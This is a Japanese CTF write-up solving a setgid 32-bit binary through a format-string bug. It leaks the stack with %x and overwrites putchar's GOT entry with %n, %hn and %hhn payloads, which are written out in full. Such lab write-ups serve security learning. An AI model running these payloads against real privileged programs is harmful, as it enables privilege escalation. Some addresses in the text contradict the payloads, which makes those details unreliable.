#Villager A
問題

Villager A: 村人A

とりあえずssh接続してみる。

[q4@eceec62b961b ~]$ ls -la
total 32
dr-xr-xr-x 1 root root 4096 Feb 27 06:11 .
drwxr-xr-x 1 root root 4096 Feb 27 06:11 ..
-rw-r--r-- 1 root root   18 Jul 21  2020 .bash_logout
-rw-r--r-- 1 root root  141 Jul 21  2020 .bash_profile
-rw-r--r-- 1 root root  456 Feb 27 06:11 .bashrc
-r--r----- 1 root q4a    22 Feb 26 18:01 flag.txt
-r-xr-sr-x 1 root q4a  5857 Feb 26 18:01 q4

flag.txtとq4が見つかった。
まずflag.txtを見てみる。

[q4@eceec62b961b ~]$ cat flag.txt
cat: flag.txt: Permission denied

flag.txtには権限がない。
ではq4を調べてみる。

[q4@eceec62b961b ~]$ file q4
q4: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=526c75e7f0f34744808eb1b09a5a91880562efc8, not stripped

実行ファイルなので実行してみる。

[q4@eceec62b961b ~]$ ./q4
What's your name?
q4
Hi, q4

Do you want the flag?
yes
Do you want the flag?
true
Do you want the flag?
T
Do you want the flag?
no
I see. Good bye.

まず名前を入力。「no」を入力するまで繰り返し「Do you want the flag?」と聞かれた。
何をやってるのかobjdumpで調べる。

[q4@eceec62b961b ~]$ objdump -S q4

q4:     file format elf32-i386


Disassembly of section .init:

08048424 <_init>:
 8048424:	55                   	push   %ebp
 8048425:	89 e5                	mov    %esp,%ebp
 8048427:	53                   	push   %ebx
 8048428:	83 ec 04             	sub    $0x4,%esp
 804842b:	e8 00 00 00 00       	call   8048430 <_init+0xc>
 8048430:	5b                   	pop    %ebx
 8048431:	81 c3 a0 15 00 00    	add    $0x15a0,%ebx
 8048437:	8b 93 fc ff ff ff    	mov    -0x4(%ebx),%edx
 804843d:	85 d2                	test   %edx,%edx

　~省略~

08048474 <putchar@plt>:
 8048474:	ff 25 e0 99 04 08    	jmp    *0x80499e0
 804847a:	68 08 00 00 00       	push   $0x8
 804847f:	e9 d0 ff ff ff       	jmp    8048454 <.plt>

08048484 <fgets@plt>:
 8048484:	ff 25 e4 99 04 08    	jmp    *0x80499e4
 804848a:	68 10 00 00 00       	push   $0x10
 804848f:	e9 c0 ff ff ff       	jmp    8048454 <.plt>

08048494 <__libc_start_main@plt>:
 8048494:	ff 25 e8 99 04 08    	jmp    *0x80499e8
 804849a:	68 18 00 00 00       	push   $0x18
 804849f:	e9 b0 ff ff ff       	jmp    8048454 <.plt>

080484a4 <fopen@plt>:
 80484a4:	ff 25 ec 99 04 08    	jmp    *0x80499ec
 80484aa:	68 20 00 00 00       	push   $0x20
 80484af:	e9 a0 ff ff ff       	jmp    8048454 <.plt>

080484b4 <printf@plt>:
 80484b4:	ff 25 f0 99 04 08    	jmp    *0x80499f0
 80484ba:	68 28 00 00 00       	push   $0x28
 80484bf:	e9 90 ff ff ff       	jmp    8048454 <.plt>

080484c4 <puts@plt>:
 80484c4:	ff 25 f4 99 04 08    	jmp    *0x80499f4
 80484ca:	68 30 00 00 00       	push   $0x30
 80484cf:	e9 80 ff ff ff       	jmp    8048454 <.plt>

　~省略~

080485b4 <main>:
 80485b4:	55                   	push   %ebp
 80485b5:	89 e5                	mov    %esp,%ebp
 80485b7:	83 e4 f0             	and    $0xfffffff0,%esp
 80485ba:	81 ec 20 04 00 00    	sub    $0x420,%esp
 80485c0:	c7 04 24 a4 87 04 08 	movl   $0x80487a4,(%esp)
 80485c7:	e8 f8 fe ff ff       	call   80484c4 <puts@plt>
 80485cc:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 80485d1:	89 44 24 08          	mov    %eax,0x8(%esp)
 80485d5:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80485dc:	00 
 80485dd:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485e1:	89 04 24             	mov    %eax,(%esp)
 80485e4:	e8 9b fe ff ff       	call   8048484 <fgets@plt>
 80485e9:	c7 04 24 b6 87 04 08 	movl   $0x80487b6,(%esp)
 80485f0:	e8 bf fe ff ff       	call   80484b4 <printf@plt>
 80485f5:	8d 44 24 18          	lea    0x18(%esp),%eax
 80485f9:	89 04 24             	mov    %eax,(%esp)
 80485fc:	e8 b3 fe ff ff       	call   80484b4 <printf@plt>
 8048601:	c7 04 24 0a 00 00 00 	movl   $0xa,(%esp)
 8048608:	e8 67 fe ff ff       	call   8048474 <putchar@plt>
 804860d:	c7 84 24 18 04 00 00 	movl   $0x1,0x418(%esp)
 8048614:	01 00 00 00 
 8048618:	eb 67                	jmp    8048681 <main+0xcd>
 804861a:	c7 04 24 bb 87 04 08 	movl   $0x80487bb,(%esp)
 8048621:	e8 9e fe ff ff       	call   80484c4 <puts@plt>
 8048626:	a1 04 9a 04 08       	mov    0x8049a04,%eax
 804862b:	89 44 24 08          	mov    %eax,0x8(%esp)
 804862f:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 8048636:	00 
 8048637:	8d 44 24 18          	lea    0x18(%esp),%eax
 804863b:	89 04 24             	mov    %eax,(%esp)
 804863e:	e8 41 fe ff ff       	call   8048484 <fgets@plt>
 8048643:	85 c0                	test   %eax,%eax
 8048645:	0f 94 c0             	sete   %al
 8048648:	84 c0                	test   %al,%al
 804864a:	74 0a                	je     8048656 <main+0xa2>
 804864c:	b8 00 00 00 00       	mov    $0x0,%eax
 8048651:	e9 86 00 00 00       	jmp    80486dc <main+0x128>
 8048656:	c7 44 24 04 d1 87 04 	movl   $0x80487d1,0x4(%esp)
 804865d:	08 
 804865e:	8d 44 24 18          	lea    0x18(%esp),%eax
 8048662:	89 04 24             	mov    %eax,(%esp)
 8048665:	e8 7a fe ff ff       	call   80484e4 <strcmp@plt>
 804866a:	85 c0                	test   %eax,%eax
 804866c:	75 13                	jne    8048681 <main+0xcd>
 804866e:	c7 04 24 d5 87 04 08 	movl   $0x80487d5,(%esp)
 8048675:	e8 4a fe ff ff       	call   80484c4 <puts@plt>
 804867a:	b8 00 00 00 00       	mov    $0x0,%eax
 804867f:	eb 5b                	jmp    80486dc <main+0x128>
 8048681:	8b 84 24 18 04 00 00 	mov    0x418(%esp),%eax
 8048688:	85 c0                	test   %eax,%eax
 804868a:	0f 95 c0             	setne  %al
 804868d:	84 c0                	test   %al,%al
 804868f:	75 89                	jne    804861a <main+0x66>
 8048691:	c7 44 24 04 e6 87 04 	movl   $0x80487e6,0x4(%esp)
 8048698:	08 
 8048699:	c7 04 24 e8 87 04 08 	movl   $0x80487e8,(%esp)
 80486a0:	e8 ff fd ff ff       	call   80484a4 <fopen@plt>
 80486a5:	89 84 24 1c 04 00 00 	mov    %eax,0x41c(%esp)
 80486ac:	8b 84 24 1c 04 00 00 	mov    0x41c(%esp),%eax
 80486b3:	89 44 24 08          	mov    %eax,0x8(%esp)
 80486b7:	c7 44 24 04 00 04 00 	movl   $0x400,0x4(%esp)
 80486be:	00 
 80486bf:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486c3:	89 04 24             	mov    %eax,(%esp)
 80486c6:	e8 b9 fd ff ff       	call   8048484 <fgets@plt>
 80486cb:	8d 44 24 18          	lea    0x18(%esp),%eax
 80486cf:	89 04 24             	mov    %eax,(%esp)
 80486d2:	e8 dd fd ff ff       	call   80484b4 <printf@plt>
 80486d7:	b8 00 00 00 00       	mov    $0x0,%eax
 80486dc:	c9                   	leave  
 80486dd:	c3                   	ret    
 80486de:	90                   	nop
 80486df:	90                   	nop

　~省略~

fgetsで入力された文字列を取得して、printfやputcharで表示や改行をしている。

0x80486a0でfopenが使われていることに気がついた。おそらく、ここで権限がなく開くことができなかったflag.txtを開いているのだろう。
fopen以前のjmpやjne命令によって処理が飛んでしまいfopenまでたどり着けない。そこで、jmp命令が発生したとき、jmp先のアドレスを0x8048691(fopenの処理が始まるアドレス)に書き換えることができればfopenまでたどり着ける。
**今回は0x08048474で使われているput_charに注目して、jmp先のアドレスである0x80499e0の値を0x8048691に書き換える。

#Format String Attacks
今回の問題では、

What's your name?
q4
Hi, q4

からわかるように、入力した文字列がそのまま出力されている。こんなときにはFormat String Attacks(書式指定文字列攻撃)が用いられる。以下に例を示す。

[q4@eceec62b961b ~]$ echo -e "AAAA,%x,%x,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name?
Hi, AAAA,400,f7c7f580,ffee0c38,6,0,41414141,2c78252c,252c7825,78252c78

Do you want the flag?

echoの結果を|(パイプライン)でq4に渡して実行している。
%x,%x,%x,%x,%x,%x,%x,%x,%xのようにフォーマット指定子（フォーマットパラメータ）を入力することでスタックの中身を覗くことができる。スタックの中身はアドレス。AはASCIIコード表から16進数表記で0x41なのでAAAAは0x41414141に対応している。スタックの中身を見てみると、0x41414141は6番目にある。任意のメモリの読み込みができた。

6番目のアドレスを0x80499f0にしたい場合、リトルエンディアンに注意して以下のようにする。

[q4@eceec62b961b ~]$ echo -e "\xe0\x99\x04\x08%6\$x" | ./q4
What's your name?
Hi, 80499f0

Do you want the flag?

#Overwite
次は指定したアドレスの値（0x80499e0の値）を任意のアドレス(0x8048691)に書き換える。書き換えには%nを使う。%nはprintfで使われるフォーマット指定子で、「%nを処理するまでに表示したバイト数」を%nに対応するパラメータに書き込むことができる。このとき、%[X]$nというようにして[X]で対応するアドレスの位置を指定する。

書き換えたいアドレスは0x8048691で、これを10進数に直すと134514321となる。はじめの4バイト(16進数は１文字4bit。アドレスは８文字から成るから（0x8048691は本当は先頭に0がある）4bit×8=32bit=4Byte)はすでに書かれているから、134514321-4=134514317。これを0x80499f0の値とすれば良い。

echo -e "\xe0\x99\x04\x08%134514317x%6\$n" | ./q4

となる。
簡単にいうと、スタックの6番目のアドレス0x80499e0の値を0x8048691 -4バイト（10進数で134514317）に書き換える。

echo -e "\xe0\x99\x04\x08\xe2\x99\x04\x08%34441x%6\$hn%33139x%7\$hn" | ./q4

echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129c%6$hhn%245c%7$hhn%126c%8$hhn%4c%9$hhn' | ./q4

134,514,317個の空白を入力しているから、実行してみると結構時間がかかる。これは%nが4バイトの書き込みを行なっているから。実際のコンテストでは時間短縮のために、%hnで2バイトの書き込みにしたり、%hhnで１バイトの書き込みにしたりするなどすることが多いらしい。

#まとめ
難しいかったけど勉強になった。
完全に理解できたわけじゃないので他の問題を解く中で理解できたことがあれば修正します。